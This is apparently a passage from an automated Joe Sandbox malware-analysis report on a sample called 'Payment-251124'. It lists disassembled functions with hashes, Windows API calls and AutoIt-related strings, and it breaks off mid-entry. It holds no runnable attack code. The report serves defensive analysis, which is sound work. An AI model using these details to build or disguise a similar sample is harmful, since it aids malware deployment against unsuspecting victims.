                                                        • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                        • Instruction Fuzzy Hash: D1C1A2322050A309DF2DC639943053EBBA19A917B931A277FD8B3DB6D5EF20C566D620
                                                        Function 015F9250 Relevance: .1, Instructions: 92COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715787633.00000000015F5000.00000040.00000020.00020000.00000000.sdmp, Offset: 015F5000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_15f5000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                        • Instruction ID: a4a020798436db78cd1a3cc161c142e7d34c577db74dcfebd7695f26b350d720
                                                        • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                        • Instruction Fuzzy Hash: 5A41C471D1091CDBCF48CFADC991AAEBBF1AF88201F548299D516AB345D730AB41DB40
                                                        Function 015F9140 Relevance: .0, Instructions: 35COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715787633.00000000015F5000.00000040.00000020.00020000.00000000.sdmp, Offset: 015F5000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_15f5000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                        • Instruction ID: fecdc1dcaf5c49de41677b7fd13aa6fc327a6afd3ecc768db5aa5c117b64f573
                                                        • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                        • Instruction Fuzzy Hash: 82018474E01509EFCB44DF98C5909AEF7B5FB88310F208599E919AB305D730AE41DB80
                                                        Function 015F90E0 Relevance: .0, Instructions: 35COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715787633.00000000015F5000.00000040.00000020.00020000.00000000.sdmp, Offset: 015F5000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_15f5000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                        • Instruction ID: 36914001da9a71640bbc95b2413827ce0259ae0b3c36a182a2a9d9e0c718c2c7
                                                        • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                        • Instruction Fuzzy Hash: 48018079A00509EFCB48DF98C5949AEF7B5FB88310F2085A9E919AB345D731AE41DB80
                                                        Function 015F7AB0 Relevance: .0, Instructions: 6COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715787633.00000000015F5000.00000040.00000020.00020000.00000000.sdmp, Offset: 015F5000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_15f5000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                        • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                                        • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                        • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                        Function 00F1A2A9 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DeleteObject.GDI32(00000000), ref: 00F1A2FE
                                                        • DeleteObject.GDI32(00000000), ref: 00F1A310
                                                        • DestroyWindow.USER32 ref: 00F1A31E
                                                        • GetDesktopWindow.USER32 ref: 00F1A338
                                                        • GetWindowRect.USER32(00000000), ref: 00F1A33F
                                                        • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00F1A480
                                                        • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00F1A490
                                                        • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F1A4D8
                                                        • GetClientRect.USER32(00000000,?), ref: 00F1A4E4
                                                        • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00F1A51E
                                                        • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F1A540
                                                        • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F1A553
                                                        • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F1A55E
                                                        • GlobalLock.KERNEL32(00000000), ref: 00F1A567
                                                        • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F1A576
                                                        • GlobalUnlock.KERNEL32(00000000), ref: 00F1A57F
                                                        • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F1A586
                                                        • GlobalFree.KERNEL32(00000000), ref: 00F1A591
                                                        • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F1A5A3
                                                        • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00F4D9BC,00000000), ref: 00F1A5B9
                                                        • GlobalFree.KERNEL32(00000000), ref: 00F1A5C9
                                                        • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00F1A5EF
                                                        • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00F1A60E
                                                        • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F1A630
                                                        • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F1A81D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                        • String ID: $AutoIt v3$DISPLAY$static
                                                        • API String ID: 2211948467-2373415609
                                                        • Opcode ID: 77340870c56b2420364add5091724ad0a80412eb3ae08f4c69c3a6c19cc5fe1f
                                                        • Instruction ID: 5ebb9ed2b70788b21e96c3e50b5b965115f27645c876ed732cebfb91ca703d7a
                                                        • Opcode Fuzzy Hash: 77340870c56b2420364add5091724ad0a80412eb3ae08f4c69c3a6c19cc5fe1f
                                                        • Instruction Fuzzy Hash: 27027C75900208EFDB14DFA4CD89EAE7BB9FB49310F108158F915AB2A1C771ED41EB61
                                                        Function 00F2D285 Relevance: 49.8, APIs: 33, Instructions: 260COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetTextColor.GDI32(?,00000000), ref: 00F2D2DB
                                                        • GetSysColorBrush.USER32(0000000F), ref: 00F2D30C
                                                        • GetSysColor.USER32(0000000F), ref: 00F2D318
                                                        • SetBkColor.GDI32(?,000000FF), ref: 00F2D332
                                                        • SelectObject.GDI32(?,00000000), ref: 00F2D341
                                                        • InflateRect.USER32(?,000000FF,000000FF), ref: 00F2D36C
                                                        • GetSysColor.USER32(00000010), ref: 00F2D374
                                                        • CreateSolidBrush.GDI32(00000000), ref: 00F2D37B
                                                        • FrameRect.USER32(?,?,00000000), ref: 00F2D38A
                                                        • DeleteObject.GDI32(00000000), ref: 00F2D391
                                                        • InflateRect.USER32(?,000000FE,000000FE), ref: 00F2D3DC
                                                        • FillRect.USER32(?,?,00000000), ref: 00F2D40E
                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00F2D439
                                                          • Part of subcall function 00F2D575: GetSysColor.USER32(00000012), ref: 00F2D5AE
                                                          • Part of subcall function 00F2D575: SetTextColor.GDI32(?,?), ref: 00F2D5B2
                                                          • Part of subcall function 00F2D575: GetSysColorBrush.USER32(0000000F), ref: 00F2D5C8
                                                          • Part of subcall function 00F2D575: GetSysColor.USER32(0000000F), ref: 00F2D5D3
                                                          • Part of subcall function 00F2D575: GetSysColor.USER32(00000011), ref: 00F2D5F0
                                                          • Part of subcall function 00F2D575: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00F2D5FE
                                                          • Part of subcall function 00F2D575: SelectObject.GDI32(?,00000000), ref: 00F2D60F
                                                          • Part of subcall function 00F2D575: SetBkColor.GDI32(?,00000000), ref: 00F2D618
                                                          • Part of subcall function 00F2D575: SelectObject.GDI32(?,?), ref: 00F2D625
                                                          • Part of subcall function 00F2D575: InflateRect.USER32(?,000000FF,000000FF), ref: 00F2D644
                                                          • Part of subcall function 00F2D575: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00F2D65B
                                                          • Part of subcall function 00F2D575: GetWindowLongW.USER32(00000000,000000F0), ref: 00F2D670
                                                          • Part of subcall function 00F2D575: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00F2D698
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                        • String ID:
                                                        • API String ID: 3521893082-0
                                                        • Opcode ID: ddd09947e2e61bf7eaa89af9fa405f280fdd75a847f4d32d4a36f53edd01fe82
                                                        • Instruction ID: 0b6ec36fe252823905b0f2ad511af35ca22b664c4c785f72d3d2a5984509a7e5
                                                        • Opcode Fuzzy Hash: ddd09947e2e61bf7eaa89af9fa405f280fdd75a847f4d32d4a36f53edd01fe82
                                                        • Instruction Fuzzy Hash: 8B91C076408315BFDB10DF64DC08E6B7BA9FF9A325F100A19F962961E0CB31D944EB52
                                                        Function 00EDB8FD Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 491windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DestroyWindow.USER32 ref: 00EDB98B
                                                        • DeleteObject.GDI32(00000000), ref: 00EDB9CD
                                                        • DeleteObject.GDI32(00000000), ref: 00EDB9D8
                                                        • DestroyIcon.USER32(00000000), ref: 00EDB9E3
                                                        • DestroyWindow.USER32(00000000), ref: 00EDB9EE
                                                        • SendMessageW.USER32(?,00001308,?,00000000), ref: 00F3D2AA
                                                        • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00F3D2E3
                                                        • MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 00F3D711
                                                          • Part of subcall function 00EDB9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00EDB759,?,00000000,?,?,?,?,00EDB72B,00000000,?), ref: 00EDBA58
                                                        • SendMessageW.USER32 ref: 00F3D758
                                                        • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00F3D76F
                                                        • ImageList_Destroy.COMCTL32(00000000), ref: 00F3D785
                                                        • ImageList_Destroy.COMCTL32(00000000), ref: 00F3D790
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                        • String ID: 0
                                                        • API String ID: 464785882-4108050209
                                                        • Opcode ID: 193c77076fcf99975d98cf04ab855321b43dc4cb0af0db96ee83b733ef6bf416
                                                        • Instruction ID: 8624dae7958feafe7553c169d6ecb0361051f6471500f319636a71b2c649f427
                                                        • Opcode Fuzzy Hash: 193c77076fcf99975d98cf04ab855321b43dc4cb0af0db96ee83b733ef6bf416
                                                        • Instruction Fuzzy Hash: 6012CE34604241DFDB20CF24D894BA9BBF4FF49324F18556AE989DB252D731EC42EB91
                                                        Function 00F0DBC4 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetErrorMode.KERNEL32(00000001), ref: 00F0DBD6
                                                        • GetDriveTypeW.KERNEL32(?,00F5DC54,?,\\.\,00F5DC00), ref: 00F0DCC3
                                                        • SetErrorMode.KERNEL32(00000000,00F5DC54,?,\\.\,00F5DC00), ref: 00F0DE29
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorMode$DriveType
                                                        • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                        • API String ID: 2907320926-4222207086
                                                        • Opcode ID: 18966d7d4837a2bb04551990d7f7069b6055ee68f8231dbe47ad125a64ad3948
                                                        • Instruction ID: 636ec88b54b780605478a1f25737eb748e1ec62c1c2a7672fdd617e79366bea5
                                                        • Opcode Fuzzy Hash: 18966d7d4837a2bb04551990d7f7069b6055ee68f8231dbe47ad125a64ad3948
                                                        • Instruction Fuzzy Hash: 0651AF31749302EBC210DF98CD82E29B7E0FB94715B24991EF44BAB2D1DB61D946FA43
                                                        Function 00ECCC24 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 267COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __wcsnicmp
                                                        • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                        • API String ID: 1038674560-86951937
                                                        • Opcode ID: ba4067ae25ceb3e3db9971d4c0b516ff8fd7f361b06caf8e999e82797c712f4e
                                                        • Instruction ID: 0635bf3b6bff9c15de0932ccf80ecb8a0ddc7aa2c17efa7a97884de44a1c72ce
                                                        • Opcode Fuzzy Hash: ba4067ae25ceb3e3db9971d4c0b516ff8fd7f361b06caf8e999e82797c712f4e
                                                        • Instruction Fuzzy Hash: C0811B306402197ACB25AB64DD43FBE7BA8EF14310F146029FD0AB61C2EB61D956D296
                                                        Function 00F2638D Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CharUpperBuffW.USER32(?,?,00F5DC00), ref: 00F26449
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BuffCharUpper
                                                        • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                        • API String ID: 3964851224-45149045
                                                        • Opcode ID: d37da22418e1e831c8871ad8e6f95891356e000ebc0b4ff7bfd04d0339006a28
                                                        • Instruction ID: cbf27b8a8be86c8c0214f57f9bbdfde411ba5e4e64c568a0541905fbade317ed
                                                        • Opcode Fuzzy Hash: d37da22418e1e831c8871ad8e6f95891356e000ebc0b4ff7bfd04d0339006a28
                                                        • Instruction Fuzzy Hash: BDC191306042558BCB04EF10D651A6EB7E5EF94354F14585EF886AB3E3DB21ED0BEB82
                                                        Function 00F2D575 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetSysColor.USER32(00000012), ref: 00F2D5AE
                                                        • SetTextColor.GDI32(?,?), ref: 00F2D5B2
                                                        • GetSysColorBrush.USER32(0000000F), ref: 00F2D5C8
                                                        • GetSysColor.USER32(0000000F), ref: 00F2D5D3
                                                        • CreateSolidBrush.GDI32(?), ref: 00F2D5D8
                                                        • GetSysColor.USER32(00000011), ref: 00F2D5F0
                                                        • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00F2D5FE
                                                        • SelectObject.GDI32(?,00000000), ref: 00F2D60F
                                                        • SetBkColor.GDI32(?,00000000), ref: 00F2D618
                                                        • SelectObject.GDI32(?,?), ref: 00F2D625
                                                        • InflateRect.USER32(?,000000FF,000000FF), ref: 00F2D644
                                                        • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00F2D65B
                                                        • GetWindowLongW.USER32(00000000,000000F0), ref: 00F2D670
                                                        • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00F2D698
                                                        • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00F2D6BF
                                                        • InflateRect.USER32(?,000000FD,000000FD), ref: 00F2D6DD
                                                        • DrawFocusRect.USER32(?,?), ref: 00F2D6E8
                                                        • GetSysColor.USER32(00000011), ref: 00F2D6F6
                                                        • SetTextColor.GDI32(?,00000000), ref: 00F2D6FE
                                                        • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00F2D712
                                                        • SelectObject.GDI32(?,00F2D2A5), ref: 00F2D729
                                                        • DeleteObject.GDI32(?), ref: 00F2D734
                                                        • SelectObject.GDI32(?,?), ref: 00F2D73A
                                                        • DeleteObject.GDI32(?), ref: 00F2D73F
                                                        • SetTextColor.GDI32(?,?), ref: 00F2D745
                                                        • SetBkColor.GDI32(?,?), ref: 00F2D74F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                        • String ID:
                                                        • API String ID: 1996641542-0
                                                        • Opcode ID: 503e35bff798ecc3b0ca7330aff42207d24a0d999adbefc7d9dd8eaab7a816d4
                                                        • Instruction ID: 5a33a4cbbff8e5fa15941f24ab3a4dda74589ceff508a393a9478b60b6136d0b
                                                        • Opcode Fuzzy Hash: 503e35bff798ecc3b0ca7330aff42207d24a0d999adbefc7d9dd8eaab7a816d4
                                                        • Instruction Fuzzy Hash: 58516B76900218BFEF119FA8DC48EAE7BB9FF49320F244115F915AB2A1D7719A40EF50
                                                        Function 00F2B6C4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00F2B7B0
                                                        • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00F2B7C1
                                                        • CharNextW.USER32(0000014E), ref: 00F2B7F0
                                                        • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00F2B831
                                                        • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00F2B847
                                                        • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00F2B858
                                                        • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00F2B875
                                                        • SetWindowTextW.USER32(?,0000014E), ref: 00F2B8C7
                                                        • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00F2B8DD
                                                        • SendMessageW.USER32(?,00001002,00000000,?), ref: 00F2B90E
                                                        • _memset.LIBCMT ref: 00F2B933
                                                        • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00F2B97C
                                                        • _memset.LIBCMT ref: 00F2B9DB
                                                        • SendMessageW.USER32 ref: 00F2BA05
                                                        • SendMessageW.USER32(?,00001074,?,00000001), ref: 00F2BA5D
                                                        • SendMessageW.USER32(?,0000133D,?,?), ref: 00F2BB0A
                                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 00F2BB2C
                                                        • GetMenuItemInfoW.USER32(?), ref: 00F2BB76
                                                        • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00F2BBA3
                                                        • DrawMenuBar.USER32(?), ref: 00F2BBB2
                                                        • SetWindowTextW.USER32(?,0000014E), ref: 00F2BBDA
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                        • String ID: 0
                                                        • API String ID: 1073566785-4108050209
                                                        • Opcode ID: d062491241296688e62821b82dfaebbad53cd81530b86cfd65d47545ed4ece8b
                                                        • Instruction ID: 7fbd6f7d6b28be92b8c9024b78fd895daddafe51da2e021a1696e058bcfdedbf
                                                        • Opcode Fuzzy Hash: d062491241296688e62821b82dfaebbad53cd81530b86cfd65d47545ed4ece8b
                                                        • Instruction Fuzzy Hash: F6E17E7590022CABDB109FA5DC84EEE7BB8FF45720F148156FD19AA190D7748A81EF60
                                                        Function 00F2764F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCursorPos.USER32(?), ref: 00F2778A
                                                        • GetDesktopWindow.USER32 ref: 00F2779F
                                                        • GetWindowRect.USER32(00000000), ref: 00F277A6
                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00F27808
                                                        • DestroyWindow.USER32(?), ref: 00F27834
                                                        • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00F2785D
                                                        • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00F2787B
                                                        • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00F278A1
                                                        • SendMessageW.USER32(?,00000421,?,?), ref: 00F278B6
                                                        • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00F278C9
                                                        • IsWindowVisible.USER32(?), ref: 00F278E9
                                                        • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00F27904
                                                        • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00F27918
                                                        • GetWindowRect.USER32(?,?), ref: 00F27930
                                                        • MonitorFromPoint.USER32(?,?,00000002), ref: 00F27956
                                                        • GetMonitorInfoW.USER32 ref: 00F27970
                                                        • CopyRect.USER32(?,?), ref: 00F27987
                                                        • SendMessageW.USER32(?,00000412,00000000), ref: 00F279F2
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
